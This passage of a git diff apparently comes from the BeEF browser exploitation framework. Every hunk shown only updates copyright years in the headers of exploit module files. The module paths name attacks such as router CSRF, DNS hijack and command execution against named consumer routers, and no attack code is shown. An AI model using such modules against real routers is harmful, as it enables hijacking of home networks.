copying permission # diff --git a/modules/exploits/php-5.3.9-dos/module.rb b/modules/exploits/php-5.3.9-dos/module.rb index 78e616487..a2b7d31ff 100644 --- a/modules/exploits/php-5.3.9-dos/module.rb +++ b/modules/exploits/php-5.3.9-dos/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/qnx_qconn_command_execution/command.js b/modules/exploits/qnx_qconn_command_execution/command.js index 122b3dcb9..3eaeb2159 100644 --- a/modules/exploits/qnx_qconn_command_execution/command.js +++ b/modules/exploits/qnx_qconn_command_execution/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/qnx_qconn_command_execution/config.yaml b/modules/exploits/qnx_qconn_command_execution/config.yaml index d722d118e..d3b645989 100644 --- a/modules/exploits/qnx_qconn_command_execution/config.yaml +++ b/modules/exploits/qnx_qconn_command_execution/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/qnx_qconn_command_execution/module.rb b/modules/exploits/qnx_qconn_command_execution/module.rb index 7d0168d24..b28bc24a5 100644 --- a/modules/exploits/qnx_qconn_command_execution/module.rb +++ b/modules/exploits/qnx_qconn_command_execution/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/resource_exhaustion_dos/command.js b/modules/exploits/resource_exhaustion_dos/command.js index ebf89196f..af51fab7d 100644 --- a/modules/exploits/resource_exhaustion_dos/command.js +++ b/modules/exploits/resource_exhaustion_dos/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/resource_exhaustion_dos/config.yaml b/modules/exploits/resource_exhaustion_dos/config.yaml index bf13f4835..589a7fa4b 100644 --- a/modules/exploits/resource_exhaustion_dos/config.yaml +++ b/modules/exploits/resource_exhaustion_dos/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/resource_exhaustion_dos/module.rb b/modules/exploits/resource_exhaustion_dos/module.rb index 66baaa764..1be38d912 100644 --- a/modules/exploits/resource_exhaustion_dos/module.rb +++ b/modules/exploits/resource_exhaustion_dos/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/rfi_scanner/command.js b/modules/exploits/rfi_scanner/command.js index e6ed21e49..f2f648421 100644 --- a/modules/exploits/rfi_scanner/command.js +++ b/modules/exploits/rfi_scanner/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/rfi_scanner/config.yaml b/modules/exploits/rfi_scanner/config.yaml index 8f227afae..a1e04fc50 100644 --- a/modules/exploits/rfi_scanner/config.yaml +++ b/modules/exploits/rfi_scanner/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/rfi_scanner/module.rb b/modules/exploits/rfi_scanner/module.rb index 1b6bfaa0f..70dea53f5 100644 --- a/modules/exploits/rfi_scanner/module.rb +++ b/modules/exploits/rfi_scanner/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/3com_officeconnect_cmd_exec/command.js b/modules/exploits/router/3com_officeconnect_cmd_exec/command.js index aaa3b7896..15d481ed1 100644 --- a/modules/exploits/router/3com_officeconnect_cmd_exec/command.js +++ b/modules/exploits/router/3com_officeconnect_cmd_exec/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/3com_officeconnect_cmd_exec/config.yaml b/modules/exploits/router/3com_officeconnect_cmd_exec/config.yaml index b2dc899ef..8b4617a6c 100644 --- a/modules/exploits/router/3com_officeconnect_cmd_exec/config.yaml +++ b/modules/exploits/router/3com_officeconnect_cmd_exec/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/3com_officeconnect_cmd_exec/module.rb b/modules/exploits/router/3com_officeconnect_cmd_exec/module.rb index 26bad638d..57a3a8e41 100644 --- a/modules/exploits/router/3com_officeconnect_cmd_exec/module.rb +++ b/modules/exploits/router/3com_officeconnect_cmd_exec/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/actiontec_q1000_csrf/command.js b/modules/exploits/router/actiontec_q1000_csrf/command.js index 3949da40d..9ec5f8af9 100644 --- a/modules/exploits/router/actiontec_q1000_csrf/command.js +++ b/modules/exploits/router/actiontec_q1000_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/actiontec_q1000_csrf/config.yaml b/modules/exploits/router/actiontec_q1000_csrf/config.yaml index 4847d4702..42cd93a75 100644 --- a/modules/exploits/router/actiontec_q1000_csrf/config.yaml +++ b/modules/exploits/router/actiontec_q1000_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/actiontec_q1000_csrf/module.rb b/modules/exploits/router/actiontec_q1000_csrf/module.rb index 0a16c2901..b4a42b8f5 100644 --- a/modules/exploits/router/actiontec_q1000_csrf/module.rb +++ b/modules/exploits/router/actiontec_q1000_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/argw4_adsl_dns_hijack/command.js b/modules/exploits/router/argw4_adsl_dns_hijack/command.js index 43293d389..c32bdee0c 100644 --- a/modules/exploits/router/argw4_adsl_dns_hijack/command.js +++ b/modules/exploits/router/argw4_adsl_dns_hijack/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/argw4_adsl_dns_hijack/config.yaml b/modules/exploits/router/argw4_adsl_dns_hijack/config.yaml index 06154264d..e526c161f 100644 --- a/modules/exploits/router/argw4_adsl_dns_hijack/config.yaml +++ b/modules/exploits/router/argw4_adsl_dns_hijack/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/argw4_adsl_dns_hijack/module.rb b/modules/exploits/router/argw4_adsl_dns_hijack/module.rb index ea019be91..de1bf817a 100644 --- a/modules/exploits/router/argw4_adsl_dns_hijack/module.rb +++ b/modules/exploits/router/argw4_adsl_dns_hijack/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/asmax_ar804gu_cmd_exec/command.js b/modules/exploits/router/asmax_ar804gu_cmd_exec/command.js index d8d2e0d65..790d90375 100644 --- a/modules/exploits/router/asmax_ar804gu_cmd_exec/command.js +++ b/modules/exploits/router/asmax_ar804gu_cmd_exec/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/asmax_ar804gu_cmd_exec/config.yaml b/modules/exploits/router/asmax_ar804gu_cmd_exec/config.yaml index a676ed908..23418d6ac 100644 --- a/modules/exploits/router/asmax_ar804gu_cmd_exec/config.yaml +++ b/modules/exploits/router/asmax_ar804gu_cmd_exec/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/asmax_ar804gu_cmd_exec/module.rb b/modules/exploits/router/asmax_ar804gu_cmd_exec/module.rb index bb44b25b6..3fda83c27 100644 --- a/modules/exploits/router/asmax_ar804gu_cmd_exec/module.rb +++ b/modules/exploits/router/asmax_ar804gu_cmd_exec/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/asus_dslx11_dns_hijack/command.js b/modules/exploits/router/asus_dslx11_dns_hijack/command.js index a43f7e438..3d35b3b55 100644 --- a/modules/exploits/router/asus_dslx11_dns_hijack/command.js +++ b/modules/exploits/router/asus_dslx11_dns_hijack/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/asus_dslx11_dns_hijack/config.yaml b/modules/exploits/router/asus_dslx11_dns_hijack/config.yaml index 74baac74c..9dce4265e 100644 --- a/modules/exploits/router/asus_dslx11_dns_hijack/config.yaml +++ b/modules/exploits/router/asus_dslx11_dns_hijack/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/asus_dslx11_dns_hijack/module.rb b/modules/exploits/router/asus_dslx11_dns_hijack/module.rb index a8c039c7c..2d35f107f 100644 --- a/modules/exploits/router/asus_dslx11_dns_hijack/module.rb +++ b/modules/exploits/router/asus_dslx11_dns_hijack/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/asus_rt_n12e_get_info/command.js b/modules/exploits/router/asus_rt_n12e_get_info/command.js index 669291673..63c6dad42 100644 --- a/modules/exploits/router/asus_rt_n12e_get_info/command.js +++ b/modules/exploits/router/asus_rt_n12e_get_info/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/asus_rt_n12e_get_info/config.yaml b/modules/exploits/router/asus_rt_n12e_get_info/config.yaml index 41b8e0444..068e5799c 100644 --- a/modules/exploits/router/asus_rt_n12e_get_info/config.yaml +++ b/modules/exploits/router/asus_rt_n12e_get_info/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/asus_rt_n12e_get_info/module.rb b/modules/exploits/router/asus_rt_n12e_get_info/module.rb index 386677e63..d3c5c69d5 100644 --- a/modules/exploits/router/asus_rt_n12e_get_info/module.rb +++ b/modules/exploits/router/asus_rt_n12e_get_info/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/asus_rt_n66u_cmd_exec/command.js b/modules/exploits/router/asus_rt_n66u_cmd_exec/command.js index 0f129a1b0..83c259dfd 100755 --- a/modules/exploits/router/asus_rt_n66u_cmd_exec/command.js +++ b/modules/exploits/router/asus_rt_n66u_cmd_exec/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/asus_rt_n66u_cmd_exec/config.yaml b/modules/exploits/router/asus_rt_n66u_cmd_exec/config.yaml index 4214e7f0e..9264a90c1 100755 --- a/modules/exploits/router/asus_rt_n66u_cmd_exec/config.yaml +++ b/modules/exploits/router/asus_rt_n66u_cmd_exec/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/asus_rt_n66u_cmd_exec/module.rb b/modules/exploits/router/asus_rt_n66u_cmd_exec/module.rb index ea2491b57..8a13a4f3f 100755 --- a/modules/exploits/router/asus_rt_n66u_cmd_exec/module.rb +++ b/modules/exploits/router/asus_rt_n66u_cmd_exec/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/beetel_bcm96338_router_dns_hijack/command.js b/modules/exploits/router/beetel_bcm96338_router_dns_hijack/command.js index b339beb66..1ef5e0de3 100644 --- a/modules/exploits/router/beetel_bcm96338_router_dns_hijack/command.js +++ b/modules/exploits/router/beetel_bcm96338_router_dns_hijack/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/beetel_bcm96338_router_dns_hijack/config.yaml b/modules/exploits/router/beetel_bcm96338_router_dns_hijack/config.yaml index 005bbd6cc..3fdbe42ba 100644 --- a/modules/exploits/router/beetel_bcm96338_router_dns_hijack/config.yaml +++ b/modules/exploits/router/beetel_bcm96338_router_dns_hijack/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/beetel_bcm96338_router_dns_hijack/module.rb b/modules/exploits/router/beetel_bcm96338_router_dns_hijack/module.rb index d4a27336a..002ef7dc2 100644 --- a/modules/exploits/router/beetel_bcm96338_router_dns_hijack/module.rb +++ b/modules/exploits/router/beetel_bcm96338_router_dns_hijack/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/belkin_dns_csrf/command.js b/modules/exploits/router/belkin_dns_csrf/command.js index 97b7e918c..e02972a17 100644 --- a/modules/exploits/router/belkin_dns_csrf/command.js +++ b/modules/exploits/router/belkin_dns_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/belkin_dns_csrf/config.yaml b/modules/exploits/router/belkin_dns_csrf/config.yaml index d610fe5c4..50b86ec59 100644 --- a/modules/exploits/router/belkin_dns_csrf/config.yaml +++ b/modules/exploits/router/belkin_dns_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/belkin_dns_csrf/module.rb b/modules/exploits/router/belkin_dns_csrf/module.rb index 34b0d62a8..25ad5a051 100644 --- a/modules/exploits/router/belkin_dns_csrf/module.rb +++ b/modules/exploits/router/belkin_dns_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/bt_home_hub_csrf/command.js b/modules/exploits/router/bt_home_hub_csrf/command.js index b86c0debf..c1c4f4e0c 100644 --- a/modules/exploits/router/bt_home_hub_csrf/command.js +++ b/modules/exploits/router/bt_home_hub_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/bt_home_hub_csrf/config.yaml b/modules/exploits/router/bt_home_hub_csrf/config.yaml index 90f16f999..374848147 100644 --- a/modules/exploits/router/bt_home_hub_csrf/config.yaml +++ b/modules/exploits/router/bt_home_hub_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/bt_home_hub_csrf/module.rb b/modules/exploits/router/bt_home_hub_csrf/module.rb index 9549e181f..d837baf33 100644 --- a/modules/exploits/router/bt_home_hub_csrf/module.rb +++ b/modules/exploits/router/bt_home_hub_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/cisco_e2400_csrf/command.js b/modules/exploits/router/cisco_e2400_csrf/command.js index 6fa789d95..9e8f89fd4 100644 --- a/modules/exploits/router/cisco_e2400_csrf/command.js +++ b/modules/exploits/router/cisco_e2400_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/cisco_e2400_csrf/config.yaml b/modules/exploits/router/cisco_e2400_csrf/config.yaml index b2c9b4100..c3574b036 100644 --- a/modules/exploits/router/cisco_e2400_csrf/config.yaml +++ b/modules/exploits/router/cisco_e2400_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/cisco_e2400_csrf/module.rb b/modules/exploits/router/cisco_e2400_csrf/module.rb index 187e9fa95..eb22c9fc3 100644 --- a/modules/exploits/router/cisco_e2400_csrf/module.rb +++ b/modules/exploits/router/cisco_e2400_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/comtrend_ct5367_csrf/command.js b/modules/exploits/router/comtrend_ct5367_csrf/command.js index 1c73eac54..2dd92a0a7 100644 --- a/modules/exploits/router/comtrend_ct5367_csrf/command.js +++ b/modules/exploits/router/comtrend_ct5367_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/comtrend_ct5367_csrf/config.yaml b/modules/exploits/router/comtrend_ct5367_csrf/config.yaml index 74970679b..b4b879af8 100644 --- a/modules/exploits/router/comtrend_ct5367_csrf/config.yaml +++ b/modules/exploits/router/comtrend_ct5367_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/comtrend_ct5367_csrf/module.rb b/modules/exploits/router/comtrend_ct5367_csrf/module.rb index 9f34bdaef..1540fb921 100644 --- a/modules/exploits/router/comtrend_ct5367_csrf/module.rb +++ b/modules/exploits/router/comtrend_ct5367_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/comtrend_ct5624_csrf/command.js b/modules/exploits/router/comtrend_ct5624_csrf/command.js index 320141949..9c9995f5d 100644 --- a/modules/exploits/router/comtrend_ct5624_csrf/command.js +++ b/modules/exploits/router/comtrend_ct5624_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/comtrend_ct5624_csrf/config.yaml b/modules/exploits/router/comtrend_ct5624_csrf/config.yaml index aa799ade9..79285c923 100644 --- a/modules/exploits/router/comtrend_ct5624_csrf/config.yaml +++ b/modules/exploits/router/comtrend_ct5624_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/comtrend_ct5624_csrf/module.rb b/modules/exploits/router/comtrend_ct5624_csrf/module.rb index 940acc94a..e85f8d176 100644 --- a/modules/exploits/router/comtrend_ct5624_csrf/module.rb +++ b/modules/exploits/router/comtrend_ct5624_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/comtrend_ct_series_dns_hijack/command.js b/modules/exploits/router/comtrend_ct_series_dns_hijack/command.js index b986b6f6c..53914c12e 100644 --- a/modules/exploits/router/comtrend_ct_series_dns_hijack/command.js +++ b/modules/exploits/router/comtrend_ct_series_dns_hijack/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/comtrend_ct_series_dns_hijack/config.yaml b/modules/exploits/router/comtrend_ct_series_dns_hijack/config.yaml index b31fd8f29..912acafa9 100644 --- a/modules/exploits/router/comtrend_ct_series_dns_hijack/config.yaml +++ b/modules/exploits/router/comtrend_ct_series_dns_hijack/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/comtrend_ct_series_dns_hijack/module.rb b/modules/exploits/router/comtrend_ct_series_dns_hijack/module.rb index 0b8ea0d0e..44b418cda 100644 --- a/modules/exploits/router/comtrend_ct_series_dns_hijack/module.rb +++ b/modules/exploits/router/comtrend_ct_series_dns_hijack/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/command.js b/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/command.js index dae2a1a4d..6ffd3a3a4 100644 --- a/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/command.js +++ b/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/config.yaml b/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/config.yaml index a5a9cf4c0..45f572245 100644 --- a/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/config.yaml +++ b/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/module.rb b/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/module.rb index 40361d1ad..2e2289d56 100644 --- a/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/module.rb 